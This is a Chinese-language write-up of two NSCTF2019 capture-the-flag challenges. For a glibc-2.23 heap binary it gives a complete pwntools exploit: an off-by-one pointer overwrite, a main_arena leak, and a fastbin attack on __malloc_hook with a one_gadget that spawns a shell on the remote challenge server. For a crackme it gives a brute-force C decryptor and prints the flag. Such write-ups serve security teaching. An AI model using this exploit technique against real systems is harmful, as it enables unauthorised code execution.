NSCTF2019 部分 writeups

TOC

  1. 1. PWN - pwn2
    1. 1.1. 溢出点
    2. 1.2. 思路
    3. 1.3. 脚本
  2. 2. RE - crackme_中等难度

有难题也有简单题。

题目文件:nsctf2019.zip

PWN - pwn2

环境是glibc-2.23

溢出点

update函数更新的长度是0x31,但是byte_202060的长度是0x31,导致溢出了一个byte。

void __cdecl update()
{
puts("Please input your name");
read(0, byte_202060, 0x31uLL);
}

溢出的byte恰好可以修改ptr指针的低位。

.bss:0000000000202060 ; char byte_202060[48]
.bss:0000000000202060 byte_202060 db 30h dup(?) ; DATA XREF: initial+84↑o
.bss:0000000000202060 ; update+15↑o
.bss:0000000000202090 ; const char *ptr
.bss:0000000000202090 ptr dq ? ; DATA XREF: Add+63↑o

思路

将所有的heap操作都在一个0x100之内完成,这样就能用溢出点方便的进行修改。

  1. 泄露main_arena地址,计算libc基地址
  2. fastbin attach 劫持 hook

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
gdb_symbols = '''

'''

f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)

context.arch = "amd64"
# context.log_level = 'debug'
execve_file = './pwn1'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)}) #
# sh = process(execve_file)
sh = remote('39.106.184.130', 8090)
# elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')

# Create temporary files for GDB debugging
try:
gdbscript = '''
set $p=(char **)$rebase(0x202090)
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def Add(size):
sh.sendlineafter('6.exit\n', '1')
sh.sendlineafter('Input the size\n', str(size))

def Delete():
sh.sendlineafter('6.exit\n', '2')

def Show():
sh.sendlineafter('6.exit\n', '3')

def Update(name):
sh.sendlineafter('6.exit\n', '4')
sh.sendafter('Please input your name\n', name)

def Edit(content):
sh.sendlineafter('6.exit\n', '5')
sh.sendafter('Input the note\n', content)

sh.sendafter('Please input your name\n', 'a' * 0x30)
Add(0x88)
Add(0x18)
Update('b' * 0x30 + '\x10')
Delete()
Add(0x18)
Update('b' * 0x30 + '\x30')
Show()

result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 88
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - 0x3c4b20
log.success('libc_addr: ' + hex(libc_addr))

Add(0x68)
Delete()
Add(0x18)
Update('b' * 0x30 + '\x30')
Edit(p64(main_arena_addr - 0x33))

Add(0x68)
Add(0x68)

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

onegadget_addr = libc_addr + 0x4526a
log.success('onegadget_addr: ' + hex(onegadget_addr))

'''
0x7ffff7a916c4 <realloc+4> push r13
0x7ffff7a916c6 <realloc+6> push r12
0x7ffff7a916c8 <realloc+8> mov r13, rsi
0x7ffff7a916cb <realloc+11> push rbp
0x7ffff7a916cc <realloc+12> push rbx
0x7ffff7a916cd <realloc+13> mov rbx, rdi
'''

Edit('b' * 0xb + p64(onegadget_addr) + p64(libc_addr + libc.symbols['realloc'] + 11))
# pause()
Add(8)

sh.sendline('cat flag')

sh.interactive()
clear()

RE - crackme_中等难度

调试可以发现sub_4011A6((char *)input, length, v5);函数是根据v5的字符串进行偏移,所以直接提取出函数和字符串进行解密。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void sub_4011A6(char *input, int a2, char *a3)
{
char *v3; // ecx
char v4; // al
char v5; // dl
char v6; // bl
char *v7; // eax
char *v8; // esi
char v9; // ST17_1
char v10; // bl
char *v11; // edi
char v12; // bl
char *v13; // edx
int v14; // zf
int v15; // [esp+8h] [ebp-Ch]
char *v16; // [esp+Ch] [ebp-8h]
unsigned char input_3; // [esp+1Fh] [ebp+Bh]
unsigned char a2_3; // [esp+23h] [ebp+Fh]
unsigned char a3_3; // [esp+27h] [ebp+13h]

v3 = a3;
v4 = a3[64];
v5 = a3[65];
v6 = a3[66];
v16 = input;
if (a2)
{
v15 = a2;
while (1)
{
a3_3 = (v4 + 1) & 0x3F;
v7 = &v3[a3_3];
input_3 = (v3[a3_3] + v5) & 0x3F;
v8 = &v3[input_3];
a2_3 = (a3_3 + *v8) & 0x3F;
v9 = *v16;
v10 = *v7 ^ *v8;
*v7 ^= v10;
*v8 ^= v10;
v11 = &v3[a2_3];
v12 = *v7 ^ *v11;
*v7 ^= v12;
*v11 ^= v12;
v13 = v16++;
v14 = v15-- == 1;
*v13 = v9 - ((*v7 + *v8 + *v11) & 0x3F);
if (v14)
break;
v5 = input_3;
v4 = a3_3;
}
v6 = a2_3;
v5 = input_3;
v4 = a3_3;
}
v3[66] = v6;
v3[64] = v4;
v3[65] = v5;
}

int main(int argc, char const *argv[])
{
int i, j;
char original_buf[148] = "\x2D\x3E\x27\x3D\x0D\x28\x06\x34\x1D\x0A\x00\x31\x1C\x24\x20\x04\x3B\x08\x02\x3A\x14\x2C\x25\x1F\x18\x1A\x1E\x2A\x21\x11\x3F\x38\x17\x30\x0F\x22\x03\x12\x35\x07\x3C\x33\x10\x26\x2B\x09\x2E\x37\x1B\x32\x16\x2F\x0C\x23\x13\x29\x15\x05\x01\x36\x39\x0E\x19\x0B\x00\x00\x00\x74\x2E\x67\x58\x29\x65\x25\x65\x46\x14\x14\x0F\x12\x28\x24\x15\x2D";
char buf[148];
char *out = "\x2E\x67\x58\x29\x65\x25\x65\x46\x14\x14\x0F\x12\x28\x24\x15\x2D";
char flag[0x20] = {0};
char input[0x20] = {0};
for (j = 0; j < strlen(out); j++)
{
for (i = 0; i < 256; i++)
{
memset(input, 0, 0x20);
input[j] = i;
memcpy(buf, original_buf, 148);
sub_4011A6(input, 16, buf);
if (out[j] == input[j])
{
flag[j] = i;
}
}
}
puts(flag);
return 0;
}

运行便可得到答案ctfcoded20190616